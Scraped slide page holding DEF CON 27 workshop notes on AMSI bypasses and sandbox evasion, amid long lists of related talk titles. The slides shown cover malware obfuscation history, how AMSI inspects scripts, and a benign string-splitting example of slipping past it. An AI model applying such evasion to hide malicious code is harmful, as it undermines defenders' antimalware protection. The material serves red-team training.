Top 10 Web Vulnerability Scannerswensheng wei
 
Malware 101 by saurabh chaudhary
Malware 101 by saurabh chaudharyMalware 101 by saurabh chaudhary
Malware 101 by saurabh chaudharySaurav Chaudhary
 
Transforming your Security Products at the Endpoint
Transforming your Security Products at the EndpointTransforming your Security Products at the Endpoint
Transforming your Security Products at the EndpointIvanti
 
Palestra Jeferson Propheta - Wanna Cry more
Palestra Jeferson Propheta - Wanna Cry morePalestra Jeferson Propheta - Wanna Cry more
Palestra Jeferson Propheta - Wanna Cry moreBHack Conference
 
MODERN MALWARE: OBFUSCATION AND EMULATION DEF CON CHINA 1.0 (2019)
MODERN MALWARE: OBFUSCATION AND EMULATION DEF CON CHINA 1.0 (2019)MODERN MALWARE: OBFUSCATION AND EMULATION DEF CON CHINA 1.0 (2019)
MODERN MALWARE: OBFUSCATION AND EMULATION DEF CON CHINA 1.0 (2019)Alexandre Borges
 
.NET MALWARE THREATS -- BHACK CONFERENCE 2019
.NET MALWARE THREATS -- BHACK CONFERENCE 2019.NET MALWARE THREATS -- BHACK CONFERENCE 2019
.NET MALWARE THREATS -- BHACK CONFERENCE 2019Alexandre Borges
 
MODERN TECHNIQUES TO DEOBFUSCATE AND UEFI/BIOS MALWARE -- HITB 2019 AMSTERDAM
MODERN TECHNIQUES TO DEOBFUSCATE AND UEFI/BIOS MALWARE -- HITB 2019 AMSTERDAMMODERN TECHNIQUES TO DEOBFUSCATE AND UEFI/BIOS MALWARE -- HITB 2019 AMSTERDAM
MODERN TECHNIQUES TO DEOBFUSCATE AND UEFI/BIOS MALWARE -- HITB 2019 AMSTERDAMAlexandre Borges
 

Ähnlich wie DEF CON 27 - workshop ANTHONY ROSE - introduction to amsi bypasses and sandbox evasion notes (20)

theVIVI-AD-Security-Workshop_AfricaHackon2019.pdf
theVIVI-AD-Security-Workshop_AfricaHackon2019.pdftheVIVI-AD-Security-Workshop_AfricaHackon2019.pdf
theVIVI-AD-Security-Workshop_AfricaHackon2019.pdf
 
White Paper - Are antivirus solutions enough to protect industrial plants?
White Paper - Are antivirus solutions enough to protect industrial plants?White Paper - Are antivirus solutions enough to protect industrial plants?
White Paper - Are antivirus solutions enough to protect industrial plants?
 
FBI & Secret Service- Business Email Compromise Workshop
FBI & Secret Service- Business Email Compromise WorkshopFBI & Secret Service- Business Email Compromise Workshop
FBI & Secret Service- Business Email Compromise Workshop
 
The Seven Most Dangerous New Attack Techniques, and What's Coming Next
The Seven Most Dangerous New Attack Techniques, and What's Coming NextThe Seven Most Dangerous New Attack Techniques, and What's Coming Next
The Seven Most Dangerous New Attack Techniques, and What's Coming Next
 
The Seven Most Dangerous New Attack Techniques, and What's Coming Next
The Seven Most Dangerous New Attack Techniques, and What's Coming NextThe Seven Most Dangerous New Attack Techniques, and What's Coming Next
The Seven Most Dangerous New Attack Techniques, and What's Coming Next
 
Attacking antivirus
Attacking antivirusAttacking antivirus
Attacking antivirus
 
Lab-10 Malware Creation and Denial of Service (DoS) In t.docx
Lab-10 Malware Creation and Denial of Service (DoS)        In t.docxLab-10 Malware Creation and Denial of Service (DoS)        In t.docx
Lab-10 Malware Creation and Denial of Service (DoS) In t.docx
 
Breaking Antivirus Software - Joxean Koret (SYSCAN 2014)
Breaking Antivirus Software - Joxean Koret (SYSCAN 2014)Breaking Antivirus Software - Joxean Koret (SYSCAN 2014)
Breaking Antivirus Software - Joxean Koret (SYSCAN 2014)
 
Breaking av software
Breaking av softwareBreaking av software
Breaking av software
 
Breaking av software
Breaking av softwareBreaking av software
Breaking av software
 
Breaking Antivirus Software
Breaking Antivirus SoftwareBreaking Antivirus Software
Breaking Antivirus Software
 
Catching Multilayered Zero-Day Attacks on MS Office
Catching Multilayered Zero-Day Attacks on MS OfficeCatching Multilayered Zero-Day Attacks on MS Office
Catching Multilayered Zero-Day Attacks on MS Office
 
Top 10 Web Vulnerability Scanners
Top 10 Web Vulnerability ScannersTop 10 Web Vulnerability Scanners
Top 10 Web Vulnerability Scanners
 
Effectiveness of AV in Detecting Web Application Backdoors
Effectiveness of AV in Detecting Web Application BackdoorsEffectiveness of AV in Detecting Web Application Backdoors
Effectiveness of AV in Detecting Web Application Backdoors
 
Malware 101 by saurabh chaudhary
Malware 101 by saurabh chaudharyMalware 101 by saurabh chaudhary
Malware 101 by saurabh chaudhary
 
Transforming your Security Products at the Endpoint
Transforming your Security Products at the EndpointTransforming your Security Products at the Endpoint
Transforming your Security Products at the Endpoint
 
Palestra Jeferson Propheta - Wanna Cry more
Palestra Jeferson Propheta - Wanna Cry morePalestra Jeferson Propheta - Wanna Cry more
Palestra Jeferson Propheta - Wanna Cry more
 
MODERN MALWARE: OBFUSCATION AND EMULATION DEF CON CHINA 1.0 (2019)
MODERN MALWARE: OBFUSCATION AND EMULATION DEF CON CHINA 1.0 (2019)MODERN MALWARE: OBFUSCATION AND EMULATION DEF CON CHINA 1.0 (2019)
MODERN MALWARE: OBFUSCATION AND EMULATION DEF CON CHINA 1.0 (2019)
 
.NET MALWARE THREATS -- BHACK CONFERENCE 2019
.NET MALWARE THREATS -- BHACK CONFERENCE 2019.NET MALWARE THREATS -- BHACK CONFERENCE 2019
.NET MALWARE THREATS -- BHACK CONFERENCE 2019
 
MODERN TECHNIQUES TO DEOBFUSCATE AND UEFI/BIOS MALWARE -- HITB 2019 AMSTERDAM
MODERN TECHNIQUES TO DEOBFUSCATE AND UEFI/BIOS MALWARE -- HITB 2019 AMSTERDAMMODERN TECHNIQUES TO DEOBFUSCATE AND UEFI/BIOS MALWARE -- HITB 2019 AMSTERDAM
MODERN TECHNIQUES TO DEOBFUSCATE AND UEFI/BIOS MALWARE -- HITB 2019 AMSTERDAM
 

Mehr von Felipe Prado

DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directoryDEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directoryFelipe Prado
 
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...Felipe Prado
 
DEF CON 24 - Tamas Szakaly - help i got ants
DEF CON 24 - Tamas Szakaly - help i got antsDEF CON 24 - Tamas Szakaly - help i got ants
DEF CON 24 - Tamas Szakaly - help i got antsFelipe Prado
 
DEF CON 24 - Ladar Levison - compelled decryption
DEF CON 24 - Ladar Levison - compelled decryptionDEF CON 24 - Ladar Levison - compelled decryption
DEF CON 24 - Ladar Levison - compelled decryptionFelipe Prado
 
DEF CON 24 - Clarence Chio - machine duping 101
DEF CON 24 - Clarence Chio - machine duping 101DEF CON 24 - Clarence Chio - machine duping 101
DEF CON 24 - Clarence Chio - machine duping 101Felipe Prado
 
DEF CON 24 - Chris Rock - how to overthrow a government
DEF CON 24 - Chris Rock - how to overthrow a governmentDEF CON 24 - Chris Rock - how to overthrow a government
DEF CON 24 - Chris Rock - how to overthrow a governmentFelipe Prado
 
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardwareDEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardwareFelipe Prado
 
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...Felipe Prado
 
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustrationDEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustrationFelipe Prado
 
DEF CON 24 - Gorenc Sands - hacker machine interface
DEF CON 24 - Gorenc Sands - hacker machine interfaceDEF CON 24 - Gorenc Sands - hacker machine interface
DEF CON 24 - Gorenc Sands - hacker machine interfaceFelipe Prado
 
DEF CON 24 - Allan Cecil and DwangoAC - tasbot the perfectionist
DEF CON 24 - Allan Cecil and DwangoAC -  tasbot the perfectionistDEF CON 24 - Allan Cecil and DwangoAC -  tasbot the perfectionist
DEF CON 24 - Allan Cecil and DwangoAC - tasbot the perfectionistFelipe Prado
 
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locksDEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locksFelipe Prado
 
DEF CON 24 - Rich Mogull - pragmatic cloud security
DEF CON 24 - Rich Mogull - pragmatic cloud securityDEF CON 24 - Rich Mogull - pragmatic cloud security
DEF CON 24 - Rich Mogull - pragmatic cloud securityFelipe Prado
 
DEF CON 24 - Grant Bugher - Bypassing captive portals
DEF CON 24 - Grant Bugher - Bypassing captive portalsDEF CON 24 - Grant Bugher - Bypassing captive portals
DEF CON 24 - Grant Bugher - Bypassing captive portalsFelipe Prado
 
DEF CON 24 - Patrick Wardle - 99 problems little snitch
DEF CON 24 - Patrick Wardle - 99 problems little snitchDEF CON 24 - Patrick Wardle - 99 problems little snitch
DEF CON 24 - Patrick Wardle - 99 problems little snitchFelipe Prado
 
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...Felipe Prado
 
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucksDEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucksFelipe Prado
 
DEF CON 24 - Dinesh and Shetty - practical android application exploitation
DEF CON 24 - Dinesh and Shetty - practical android application exploitationDEF CON 24 - Dinesh and Shetty - practical android application exploitation
DEF CON 24 - Dinesh and Shetty - practical android application exploitationFelipe Prado
 
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vncDEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vncFelipe Prado
 
DEF CON 24 - Antonio Joseph - fuzzing android devices
DEF CON 24 - Antonio Joseph - fuzzing android devicesDEF CON 24 - Antonio Joseph - fuzzing android devices
DEF CON 24 - Antonio Joseph - fuzzing android devicesFelipe Prado
 

Mehr von Felipe Prado (20)

DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directoryDEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
 
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
 
DEF CON 24 - Tamas Szakaly - help i got ants
DEF CON 24 - Tamas Szakaly - help i got antsDEF CON 24 - Tamas Szakaly - help i got ants
DEF CON 24 - Tamas Szakaly - help i got ants
 
DEF CON 24 - Ladar Levison - compelled decryption
DEF CON 24 - Ladar Levison - compelled decryptionDEF CON 24 - Ladar Levison - compelled decryption
DEF CON 24 - Ladar Levison - compelled decryption
 
DEF CON 24 - Clarence Chio - machine duping 101
DEF CON 24 - Clarence Chio - machine duping 101DEF CON 24 - Clarence Chio - machine duping 101
DEF CON 24 - Clarence Chio - machine duping 101
 
DEF CON 24 - Chris Rock - how to overthrow a government
DEF CON 24 - Chris Rock - how to overthrow a governmentDEF CON 24 - Chris Rock - how to overthrow a government
DEF CON 24 - Chris Rock - how to overthrow a government
 
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardwareDEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
 
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
 
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustrationDEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
 
DEF CON 24 - Gorenc Sands - hacker machine interface
DEF CON 24 - Gorenc Sands - hacker machine interfaceDEF CON 24 - Gorenc Sands - hacker machine interface
DEF CON 24 - Gorenc Sands - hacker machine interface
 
DEF CON 24 - Allan Cecil and DwangoAC - tasbot the perfectionist
DEF CON 24 - Allan Cecil and DwangoAC -  tasbot the perfectionistDEF CON 24 - Allan Cecil and DwangoAC -  tasbot the perfectionist
DEF CON 24 - Allan Cecil and DwangoAC - tasbot the perfectionist
 
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locksDEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
 
DEF CON 24 - Rich Mogull - pragmatic cloud security
DEF CON 24 - Rich Mogull - pragmatic cloud securityDEF CON 24 - Rich Mogull - pragmatic cloud security
DEF CON 24 - Rich Mogull - pragmatic cloud security
 
DEF CON 24 - Grant Bugher - Bypassing captive portals
DEF CON 24 - Grant Bugher - Bypassing captive portalsDEF CON 24 - Grant Bugher - Bypassing captive portals
DEF CON 24 - Grant Bugher - Bypassing captive portals
 
DEF CON 24 - Patrick Wardle - 99 problems little snitch
DEF CON 24 - Patrick Wardle - 99 problems little snitchDEF CON 24 - Patrick Wardle - 99 problems little snitch
DEF CON 24 - Patrick Wardle - 99 problems little snitch
 
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
 
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucksDEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
 
DEF CON 24 - Dinesh and Shetty - practical android application exploitation
DEF CON 24 - Dinesh and Shetty - practical android application exploitationDEF CON 24 - Dinesh and Shetty - practical android application exploitation
DEF CON 24 - Dinesh and Shetty - practical android application exploitation
 
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vncDEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
 
DEF CON 24 - Antonio Joseph - fuzzing android devices
DEF CON 24 - Antonio Joseph - fuzzing android devicesDEF CON 24 - Antonio Joseph - fuzzing android devices
DEF CON 24 - Antonio Joseph - fuzzing android devices
 

Kürzlich hochgeladen

MS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectorsMS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectorsNanddeep Nachan
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FMESafe Software
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century educationjfdjdjcjdnsjd
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfsudhanshuwaghmare1
 
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...Jeffrey Haguewood
 
Manulife - Insurer Transformation Award 2024
Manulife - Insurer Transformation Award 2024Manulife - Insurer Transformation Award 2024
Manulife - Insurer Transformation Award 2024The Digital Insurer
 
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...Angeliki Cooney
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FMESafe Software
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...apidays
 
ICT role in 21st century education and its challenges
ICT role in 21st century education and its challengesICT role in 21st century education and its challenges
ICT role in 21st century education and its challengesrafiqahmad00786416
 
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...apidays
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024The Digital Insurer
 
AXA XL - Insurer Innovation Award Americas 2024
AXA XL - Insurer Innovation Award Americas 2024AXA XL - Insurer Innovation Award Americas 2024
AXA XL - Insurer Innovation Award Americas 2024The Digital Insurer
 
Corporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptxCorporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptxRustici Software
 
Spring Boot vs Quarkus the ultimate battle - DevoxxUK
Spring Boot vs Quarkus the ultimate battle - DevoxxUKSpring Boot vs Quarkus the ultimate battle - DevoxxUK
Spring Boot vs Quarkus the ultimate battle - DevoxxUKJago de Vreede
 
DEV meet-up UiPath Document Understanding May 7 2024 Amsterdam
DEV meet-up UiPath Document Understanding May 7 2024 AmsterdamDEV meet-up UiPath Document Understanding May 7 2024 Amsterdam
DEV meet-up UiPath Document Understanding May 7 2024 AmsterdamUiPathCommunity
 
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...DianaGray10
 
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWEREMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWERMadyBayot
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerThousandEyes
 
FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024The Digital Insurer
 

Kürzlich hochgeladen (20)

MS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectorsMS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectors
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century education
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
 
Manulife - Insurer Transformation Award 2024
Manulife - Insurer Transformation Award 2024Manulife - Insurer Transformation Award 2024
Manulife - Insurer Transformation Award 2024
 
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...
 
ICT role in 21st century education and its challenges
ICT role in 21st century education and its challengesICT role in 21st century education and its challenges
ICT role in 21st century education and its challenges
 
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
Apidays New York 2024 - The Good, the Bad and the Governed by David O'Neill, ...
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024
 
AXA XL - Insurer Innovation Award Americas 2024
AXA XL - Insurer Innovation Award Americas 2024AXA XL - Insurer Innovation Award Americas 2024
AXA XL - Insurer Innovation Award Americas 2024
 
Corporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptxCorporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptx
 
Spring Boot vs Quarkus the ultimate battle - DevoxxUK
Spring Boot vs Quarkus the ultimate battle - DevoxxUKSpring Boot vs Quarkus the ultimate battle - DevoxxUK
Spring Boot vs Quarkus the ultimate battle - DevoxxUK
 
DEV meet-up UiPath Document Understanding May 7 2024 Amsterdam
DEV meet-up UiPath Document Understanding May 7 2024 AmsterdamDEV meet-up UiPath Document Understanding May 7 2024 Amsterdam
DEV meet-up UiPath Document Understanding May 7 2024 Amsterdam
 
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
 
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWEREMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024
 

DEF CON 27 - workshop ANTHONY ROSE - introduction to amsi bypasses and sandbox evasion notes

  • 2. whoami ANTHONY ROSE C01И ◦ Co-founder, BC Security ◦ Lead Researcher, Merculite Security ◦ MS in Electrical Engineering ◦ Lockpicking Hobbyist ◦ Bluetooth & Wireless Security Enthusiast 2 JACOB KRASNOV HUBBLE ◦ Co-founder, BC Security ◦ MS in Astronautical Engineering ◦ Red Team Lead ◦ Currently focused on embedded system security VINCENT ROSE HALCYON ◦ Security Researcher, BC Security ◦ BS in Software Engineering ◦ Software & App Developer 2
  • 3. Why are we here? ◦ How to mask your malware to avoid AMSI and Sandboxes 3 3
  • 4. Goals ◦ Introduce Microsoft’s Antimalware Scan Interface (AMSI) and explain its importance ◦ Learn to analyze malware scripts before and after execution ◦ Understand how obfuscate code to avoid AMSI and Windows Defender ◦ Detect and avoid sandbox environments 4 4
  • 5. Expectations We will teach you to… ◦ operate Empire ◦ obfuscate Powershell ◦ avoid AMSI and Sandboxes We are not going to teach you… ◦ how to be a “leet hacker” 5 5
  • 6. -h What is Malware? 6 6
  • 7. A Very Brief Overview of the Evolution of Malware Obfuscation ◦ Obfuscation is the main means by which Malware achieves survival ◦ Defeat signature based AV ◦ Make analysis more difficult 7 https://blogs.cisco.com/security/a_brief_history_of_malware_obfuscation_part_1_of _2 In order to spread and multiply malware has to remain undetected by AV and defenders. Code obfuscation is the “simplest” and most efficient means of doing this. In addition to allowing it to sneak past AV obfuscation also helps hinder analysis by defenders so that it is harder for them to understand how the malware works and what it is trying to achieve 7
  • 8. The Early Days The first virus to obfuscate itself was the Brain Virus in 1986 ◦ Would display unchanged data from a different disk sector instead of the one it had modified The first virus to use encryption was the Cascade Virus and also appeared in 1986 ◦ Used simple XOR encryption First commercial AV products came out in 1987 ◦ This included heuristic based AV products! 8 4:https://blogs.cisco.com/security/a_brief_history_of_malware_obfuscation_part_1_ of_2 5: https://en.wikipedia.org/wiki/Antivirus_software#1980%E2%80%931990_period_(ea rly_days) What we often think of as “modern day” virus and AV activities has been around for a long time. By the end of the 80s AV had already recognized that trying to create signatures based on encrypted/obfuscated code was extremely difficult and instead started to try and target the encryption/decryption routines as this had to be machine readable in order to work. In order to combat this malware adapted to have non static signatures. By the end of 1990, either multiple decryptors chosen at random or dynamically generated ones were being seen used in the wild. 8
  • 9. Coming into Its Own The Malware Arms Race continued and by 1992 polymorphic virus engines had been released ◦ Could be attached to non-polymorphic viruses to make them more effective AV wasn’t far behind and soon started to include emulation code to sandbox the code ◦ There were evasion techniques but we will talk about this later By the 2000s malware has moved on to so called metamorphic virus7 ◦ Polymorphic viruses only change their decryptor while metamorphic change the code body as well 9 6:https://blogs.cisco.com/security/a_brief_history_of_malware_obfuscation_part_1_ of_2 7:https://blogs.cisco.com/security/a_brief_history_of_malware_obfuscation_part_2_ of_2 9
  • 10. Going Fileless Not really completely Fileless ◦ Usually requires some kind of initial script/executable to kick off infection ◦ Persistence methods may leave traces in places like the registry (ie Poweliks) This created a big problem for AV as it has traditionally relied on scanning files/executables All of this leads into… 10 10
  • 12. What Is AMSI? The Windows Antimalware Scan Interface (AMSI) is a versatile interface standard that allows your applications and services to integrate with any antimalware product that's present on a machine. AMSI provides enhanced malware protection for your end-users and their data, applications, and workloads. 12 1 https://docs.microsoft.com/en-us/windows/desktop/amsi/antimalware-scan- interface-portal 12
  • 13. That’s Great But What Does that Mean? ◦ Evaluates commands at run time ◦ Handles multiple scripting languages (Powershell, JaveScript, VBA) ◦ Provides an API that is AV agnostic ◦ Identify fileless threats 13 AMSI is a powerful anti-malware tool because it is able to evaluate commands being passed to the scripting compilation engine at run time after many obfuscation techniques have been removed. It also supports multiple scripting languages and is built as a dll with an API interface that any “registered” antivirus provider can access. 13
  • 15. One point of clarification (Powershell) The code is evaluated when it is readable by the scripting engine This means that: ◦ –enc //5XAHIAaQB0AGUALQBIAG8AcwB0ACAAIgB0AGUAcwB0ACIA becomes: ◦ Write-Host “test” However: ◦ Write-Host “te”+”st” Does not become: ◦ Write-Host “test” This is what allows us to still be able to obfuscate our code 15 2 https://docs.microsoft.com/en-us/windows/desktop/amsi/antimalware-scan- interface-portal 15
  • 17. Types of Windows Mitigations ◦ Windows Defender ◦ Antimalware Scan Interface (AMSI) ◦ Control flow guard ◦ Data Execution Prevention (DEP) ◦ Randomized memory allocations ◦ Arbitrary code guard (ACG) ◦ Block child processes ◦ Simulated execution (SimExec) ◦ Valid stack integrity (StackPivot) 17 Control flow guard (CFG) - Ensures control flow integrity for indirect calls. Can optionally suppress exports and use strict CFG. Data Execution Prevention (DEP) - Prevents code from being run from data-only memory pages such as the heap and stacks. Only configurable for 32-bit (x86) apps, permanently enabled for all other architectures. Can optionally enable ATL thunk emulation. Randomize memory allocations (Bottom-Up ASLR) - Randomizes locations for virtual memory allocations including those for system structures heaps, stacks, TEBs, and PEBs. Can optionally use a wider randomization variance for 64-bit processes. Arbitrary code guard (ACG) - Prevents the introduction of non-image-backed executable code and prevents code pages from being modified. Can optionally allow thread opt-out and allow remote downgrade (configurable only with PowerShell). Do not allow child processes - Prevents an app from creating child processes. Simulate execution (SimExec) - Ensures that calls to sensitive APIs return to legitimate 17
